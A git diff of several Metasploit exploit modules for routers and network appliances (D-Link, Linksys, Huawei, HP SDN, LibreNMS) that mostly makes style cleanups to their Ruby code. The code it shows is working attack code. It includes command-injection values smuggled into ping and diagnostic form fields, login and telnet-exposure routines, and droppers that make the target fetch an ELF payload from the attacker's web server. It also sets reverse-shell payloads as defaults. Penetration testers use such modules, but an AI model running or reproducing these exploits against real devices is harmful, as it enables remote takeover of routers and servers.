Msf::Exploit::Remote end def request(cmd, uri) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'POST', - 'vars_post' => { - "act" => "ping", - "dst" => "` #{cmd}`" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => { + 'act' => 'ping', + 'dst' => "` #{cmd}`" + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) uri = '/diagnostic.php' if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -130,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -141,9 +139,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -196,9 +194,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -212,7 +210,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index 48ba693518..7afd0a0acd 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -80,26 +80,24 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd) - begin - res = send_request_cgi({ - 'uri' => @uri, - 'method' => 'GET', - 'vars_get' => { - "page" => "tools_vct", - "hping" => "0", - "ping_ipaddr" => "1.1.1.1`#{cmd}`", - "ping6_ipaddr" => "" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => @uri, + 'method' => 'GET', + 'vars_get' => { + 'page' => 'tools_vct', + 'hping' => '0', + 'ping_ipaddr' => "1.1.1.1`#{cmd}`", + 'ping6_ipaddr' => '' + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) @uri = '/tools_vct.htm' user = datastore['USERNAME'] pass = datastore['PASSWORD'] @@ -114,19 +112,19 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => '/login.htm', 'method' => 'POST', 'vars_post' => { - "page" => "login", - "submitType" => "0", - "identifier" => "", - "sel_userid" => user, - "userid" => "", - "passwd" => pass, - "captchapwd" => "" + 'page' => 'login', + 'submitType' => '0', + 'identifier' => '', + 'sel_userid' => user, + 'userid' => '', + 'passwd' => pass, + 'captchapwd' => '' } }) if res.nil? or res.code == 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end - if res.body =~ /\showMainTabs\(\"setup\"\)\;\<\/script\>/ + if res.body =~ %r{showMainTabs\("setup"\);} print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") @@ -136,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote end if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -162,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -172,9 +170,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -232,9 +230,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -248,7 +246,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index a9868adc12..f4c56e7d1a 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'linux', 'Arch' => ARCH_X86, - 'CmdStagerFlavor' => [ :echo, :printf ] + 'CmdStagerFlavor' => %i[echo printf] } ], [ @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'linux', 'Arch' => ARCH_X64, - 'CmdStagerFlavor' => [ :echo, :printf ] + 'CmdStagerFlavor' => %i[echo printf] } ] ], @@ -123,10 +123,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - execute_cmdstager(:linemax => 200, :nodelete => true) + execute_cmdstager(linemax: 200, nodelete: true) end - def execute_command(cmd, opts) + def execute_command(cmd, _opts) cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") req(cmd) @@ -166,13 +166,13 @@ class MetasploitModule < Msf::Exploit::Remote if res.code == 401 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Received a 401 HTTP response - " + - "specify web admin credentials using the USERNAME " + - "and PASSWORD advanced options to target this host.") + 'specify web admin credentials using the USERNAME ' + + 'and PASSWORD advanced options to target this host.') end if res.code == 404 fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Received a 404 HTTP response - " + - "your TARGETURI value is most likely not correct") + 'your TARGETURI value is most likely not correct') end end end diff --git a/modules/exploits/linux/http/froxlor_log_path_rce.rb b/modules/exploits/linux/http/froxlor_log_path_rce.rb index 419205c46c..4467424e73 100644 --- a/modules/exploits/linux/http/froxlor_log_path_rce.rb +++ b/modules/exploits/linux/http/froxlor_log_path_rce.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, 'Targets' => [ [ - 'Linux ', + 'Linux', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], diff --git a/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb index 4a60463ebe..55fcf580f0 100644 --- a/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb +++ b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb @@ -44,18 +44,22 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { 'BadChars' => ' ' }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { 'BadChars' => ' ' }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } + } ], [ 'Linux Dropper', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :linux_dropper, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } ] ], 'DefaultTarget' => 0, @@ -133,9 +137,11 @@ class MetasploitModule < Msf::Exploit::Remote end def upload_payload - payload_name = datastore['PayloadName'] ? - "#{datastore['PayloadName']}.deb" : - "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb" + payload_name = if datastore['PayloadName'] + "#{datastore['PayloadName']}.deb" + else + "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb" + end payload_path = "/var/lib/sdn/uploads/#{payload_name}" res = send_request_cgi( diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb index 193fde5831..aeffec0faf 100644 --- a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb +++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), - OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) + OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit to connect back', 60]) ], self.class ) end @@ -83,18 +83,18 @@ class MetasploitModule < Msf::Exploit::Remote def check httpd_fingerprint = %r{ \A - HTTP\/1\.1\s200\sOK\r\n + HTTP/1\.1\s200\sOK\r\n CACHE-CONTROL:\sno-cache\r\n Date:\s.*\r\n Connection:\sKeep-Alive\r\n - Content-Type:\stext\/html\r\n + Content-Type:\stext/html\r\n Content-Length:\s\d+\r\n \r\n \n\n - \r\n + \r\n \n \n - + }x begin @@ -123,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote # def hash_password(password) sha256 = OpenSSL::Digest::SHA256.hexdigest(password) - Base64.encode64(sha256).gsub(/\s+/, "") + Base64.encode64(sha256).gsub(/\s+/, '') end # @@ -171,7 +171,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Password' => hash_password(password) } ) - fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out') if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") @@ -182,7 +182,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.body.include? invalid_login_marker fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") else - fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") + fail_with(Failure::UnexpectedReply, 'Neither valid or invalid login markers received') end end @@ -193,7 +193,7 @@ class MetasploitModule < Msf::Exploit::Remote def expose_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) - external_telnet_port = rand(32767) + 32768 + external_telnet_port = rand(32768..65534) portmapping_page = '/html/application/portmapping.asp' valid_port_export_marker = "var pageName = '#{portmapping_page}';" @@ -209,17 +209,17 @@ class MetasploitModule < Msf::Exploit::Remote 'RequestFile' => portmapping_page }, 'vars_post' => { - 'x.PortMappingProtocol' => "TCP", - 'x.PortMappingEnabled' => "1", - 'x.RemoteHost' => "", + 'x.PortMappingProtocol' => 'TCP', + 'x.PortMappingEnabled' => '1', + 'x.RemoteHost' => '', 'x.ExternalPort' => external_telnet_port.to_s, 'x.ExternalPortEndRange' => external_telnet_port.to_s, - 'x.InternalClient' => "192.168.1.1", - 'x.InternalPort' => "23", + 'x.InternalClient' => '192.168.1.1', + 'x.InternalPort' => '23', 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict } ) - fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out') if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") @@ -231,11 +231,11 @@ class MetasploitModule < Msf::Exploit::Remote end if res.body.match? invalid_port_export_marker - fail_with(Failure::Unknown, "Router reported port-mapping error. " \ + fail_with(Failure::Unknown, 'Router reported port-mapping error. ' \ "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") end - fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") + fail_with(Failure::UnexpectedReply, 'Port-forwarding failed: neither valid or invalid markers received') end # @@ -253,14 +253,14 @@ class MetasploitModule < Msf::Exploit::Remote ) unless res && res.code == 200 - print_warning "Could not get current forwarded ports from web interface" + print_warning 'Could not get current forwarded ports from web interface' end # Collect existing port-forwarding keys; to be passed to the delete POST request portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ vars_post = {} res.body.scan(portforward_key).uniq.each do |key| - vars_post[key] = "" + vars_post[key] = '' end res = send_request_cgi( @@ -273,7 +273,7 @@ class MetasploitModule < Msf::Exploit::Remote ) return if res && res.code == 200 - print_warning "Could not re-hide exposed telnet port" + print_warning 'Could not re-hide exposed telnet port' end # @@ -292,7 +292,7 @@ class MetasploitModule < Msf::Exploit::Remote ) return if res && res.code == 200 - print_warning "Could not logout from web interface. Future web logins may fail!" + print_warning 'Could not logout from web interface. Future web logins may fail!' end # @@ -304,12 +304,10 @@ class MetasploitModule < Msf::Exploit::Remote # this by sending a refresh request every second. # def web_operation - begin - cookie = web_login - yield cookie - ensure - web_logout(cookie) unless cookie.nil? - end + cookie = web_login + yield cookie + ensure + web_logout(cookie) unless cookie.nil? end # @@ -345,31 +343,29 @@ class MetasploitModule < Msf::Exploit::Remote read_until(sock, timeout, 'Password:') sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA) rescue ::Timeout::Error - fail_with(Failure::UnexpectedReply, "Expected first password banner not received") + fail_with(Failure::UnexpectedReply, 'Expected first password banner not received') end begin read_until(sock, timeout, 'Password:') # Router bug sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY) rescue ::Timeout::Error - fail_with(Failure::UnexpectedReply, "Expected second password banner not received") + fail_with(Failure::UnexpectedReply, 'Expected second password banner not received') end end def telnet_prompt_wait(error_regex = nil) - begin - result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) - if error_regex - error_regex = [error_regex] unless error_regex.is_a? Array - error_regex.each do |regex| - if result.match? regex - fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") - end + result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) + if error_regex + error_regex = [error_regex] unless error_regex.is_a? Array + error_regex.each do |regex| + if result.match? regex + fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") end end - rescue ::Timeout::Error - fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") end + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") end # @@ -389,11 +385,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Timeout' => @telnet_timeout ) if @telnet_sock.nil? - fail_with(Failure::Unreachable, "Exposed telnet port unreachable") + fail_with(Failure::Unreachable, 'Exposed telnet port unreachable') end add_socket(@telnet_sock) - print_good "Connection succeeded. Passing telnet credentials" + print_good 'Connection succeeded. Passing telnet credentials' telnet_auth_negotiation(@telnet_sock, @telnet_timeout) print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" @@ -427,7 +423,7 @@ class MetasploitModule < Msf::Exploit::Remote @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY) telnet_prompt_wait(error_regex) - print_good "Command executed successfully" + print_good 'Command executed successfully' end # @@ -436,11 +432,11 @@ class MetasploitModule < Msf::Exploit::Remote def start_http_server @pl = generate_payload_exe - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) resource_uri = '/' + downfile if datastore['DOWNHOST'] - print_status "Will not start local web server, as DOWNHOST is already defined" + print_status 'Will not start local web server, as DOWNHOST is already defined' else print_status("Starting web server; hosting #{resource_uri}") start_service( @@ -459,7 +455,7 @@ class MetasploitModule < Msf::Exploit::Remote # HTTP server incoming request callback # def on_request_uri(cli, _request) - print_good "HTTP server received request. Sending payload to victim" + print_good 'HTTP server received request. Sending payload to victim' send_response(cli, @pl) end @@ -475,7 +471,7 @@ class MetasploitModule < Msf::Exploit::Remote srv_host = if datastore['DOWNHOST'] datastore['DOWNHOST'] - elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" + elsif datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' Rex::Socket.source_address(rhost) else datastore['SRVHOST'] @@ -499,7 +495,7 @@ class MetasploitModule < Msf::Exploit::Remote # will lose the payload's signal otherwise. # def wait_for_payload_session - print_status "Waiting for the payload to connect back .." + print_status 'Waiting for the payload to connect back ..' begin Timeout.timeout(datastore['ListenerTimeout']) do loop do @@ -509,9 +505,9 @@ class MetasploitModule < Msf::Exploit::Remote end end rescue ::Timeout::Error - fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") + fail_with(Failure::Unknown, 'Timeout waiting for payload to start/connect-back') end - print_good "Payload connected!" + print_good 'Payload connected!' end # @@ -521,10 +517,10 @@ class MetasploitModule < Msf::Exploit::Remote def exploit print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" unless check == Exploit::CheckCode::Appears - fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") + fail_with(Failure::Unknown, 'Unable to validate device fingerprint. Is it an HG532n?') end - print_good "Good. Router seems to be a vulnerable HG532n device" + print_good 'Good. Router seems to be a vulnerable HG532n device' telnet_port = nil web_operation do |cookie| diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb index 2ce5f89093..b458188488 100644 --- a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote version = html.search('tr//td//a') fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty? version.each do |e| - return $1 if e.text =~ /(\d+\.\d+\.?\d*)/ + return ::Regexp.last_match(1) if e.text =~ /(\d+\.\d+\.?\d*)/ end end @@ -179,7 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote end def get_plugin_info(id) - uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd") + uri = normalize_uri(target_uri.path, 'device', "device=#{id}", 'tab=collectd') res = send_request_cgi('method' => 'GET', 'uri' => uri, 'cookie' => @cookies) return unless res && res.code == 200 @@ -220,7 +220,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1 print_status("Sending payload via device #{collectd_device}") - res = send_request_cgi( + send_request_cgi( 'method' => 'GET', 'uri' => req_uri, 'cookie' => @cookies, diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 23b9c38573..b8a4d68afc 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -77,32 +77,30 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd, user, pass, uri) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'POST', - 'authorization' => basic_auth(user, pass), - 'vars_post' => { - "submit_button" => "Diagnostics", - "change_action" => "gozila_cgi", - "submit_type" => "start_ping", - "action" => "", - "commit" => "0", - "ping_ip" => "1.1.1.1", - "ping_size" => "&#{cmd}&", - "ping_times" => "5", - "traceroute_ip" => "" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user, pass), + 'vars_post' => { + 'submit_button' => 'Diagnostics', + 'change_action' => 'gozila_cgi', + 'submit_type' => 'start_ping', + 'action' => '', + 'commit' => '0', + 'ping_ip' => '1.1.1.1', + 'ping_size' => "&#{cmd}&", + 'ping_times' => '5', + 'traceroute_ip' => '' + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) uri = '/apply.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] @@ -132,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote end if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -160,7 +158,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -170,9 +168,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -225,9 +223,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -241,7 +239,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index a3bdcb915a..afce3225ef 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -72,27 +72,25 @@ class MetasploitModule < Msf::Exploit::Remote deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end - def execute_command(cmd, opts) - begin - res = send_request_cgi({ - 'uri' => '/tmUnblock.cgi', - 'method' => 'POST', - 'encode_params' => true, - 'vars_post' => { - "submit_button" => "", - "change_action" => "", - "action" => "", - "commit" => "0", - "ttcp_num" => "2", - "ttcp_size" => "2", - "ttcp_ip" => "-h `#{cmd}`", - "StartEPI" => "1" - } - }, 2) - return res - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") - end + def execute_command(cmd, _opts) + res = send_request_cgi({ + 'uri' => '/tmUnblock.cgi', + 'method' => 'POST', + 'encode_params' => true, + 'vars_post' => { + 'submit_button' => '', + 'change_action' => '', + 'action' => '', + 'commit' => '0', + 'ttcp_num' => '2', + 'ttcp_size' => '2', + 'ttcp_ip' => "-h `#{cmd}`", + 'StartEPI' => '1' + } + }, 2) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end def check @@ -113,13 +111,13 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("Trying to access the vulnerable URL...") + print_status('Trying to access the vulnerable URL...') unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") end - print_status("Exploiting...") - execute_cmdstager({ :flavor => :wget }) + print_status('Exploiting...') + execute_cmdstager({ flavor: :wget }) end end diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index 14463a50ea..ee1d5eb4be 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -78,32 +78,30 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd, user, pass, uri) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'POST', - 'authorization' => basic_auth(user, pass), - 'vars_post' => { - "submit_button" => "Diagnostics", - "change_action" => "gozila_cgi", - "submit_type" => "start_ping", - "action" => "", - "commit" => "0", - "ping_ip" => "1.1.1.1", - "ping_size" => "&#{cmd}&", - "ping_times" => "5", - "traceroute_ip" => "" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user, pass), + 'vars_post' => { + 'submit_button' => 'Diagnostics', + 'change_action' => 'gozila_cgi', + 'submit_type' => 'start_ping', + 'action' => '', + 'commit' => '0', + 'ping_ip' => '1.1.1.1', + 'ping_size' => "&#{cmd}&", + 'ping_times' => '5', + 'traceroute_ip' => '' + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(4)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..11)) uri = '/apply.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] @@ -132,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote end if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -206,7 +204,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @tftp.files.length == 0) + until (@tftp.files.length == 0) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['DELAY']) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 13c1773e01..095075cc20 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -81,10 +81,10 @@ class MetasploitModule < Msf::Exploit::Remote def get_config(config, pattern) if config =~ /#{pattern}/ - return $1 + return ::Regexp.last_match(1) end - return "" + return '' end def grab_config(user, pass) @@ -135,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Remote @wan_hostname_orig = get_config(res.body, "<\/FONT><\/TD>") @wan_mtu_orig = get_config(res.body, "<\/TD>") if @wan_mtu_orig.to_i > 1500 - @mtu_enable = "0" + @mtu_enable = '0' end @ui_language_orig = get_config(res.body, "<\/SCRIPT>") @dhcp_lease_orig = get_config(res.body, " uri, - 'method' => 'POST', - 'authorization' => basic_auth(user, pass), - 'encode_params' => false, - 'vars_post' => { - 'submit_button' => "index", - 'change_action' => "1", - 'submit_type' => "1", - 'action' => "Apply", - 'now_proto' => @now_proto_orig.to_s, - 'daylight_time' => @daylight_time_orig.to_s, - 'lan_ipaddr' => @lan_ipaddr_orig.to_s, - 'wait_time' => @wait_time_orig.to_s, - 'need_reboot' => @need_reboot_orig.to_s, - 'ui_language' => @ui_language_orig, - 'wan_proto' => @wan_proto_orig.to_s, - 'router_name' => @router_name_orig.to_s, - 'wan_hostname' => cmd, - 'wan_domain' => @wan_domain_orig.to_s, - 'mtu_enable' => @mtu_enable.to_s, - 'wan_mtu' => @wan_mtu_orig.to_s, - 'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s, - 'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s, - 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, - 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, - 'lan_netmask' => "255.255.255.#{@netmask_orig}", - 'lan_proto' => @lan_proto_orig.to_s, - 'dhcp_check' => "1", - 'dhcp_start' => @dhcp_start_orig.to_s, - 'dhcp_num' => @dhcp_num_orig.to_s, - 'dhcp_lease' => @dhcp_lease_orig.to_s, - 'wan_dns' => @wan_dns_orig.to_s, - 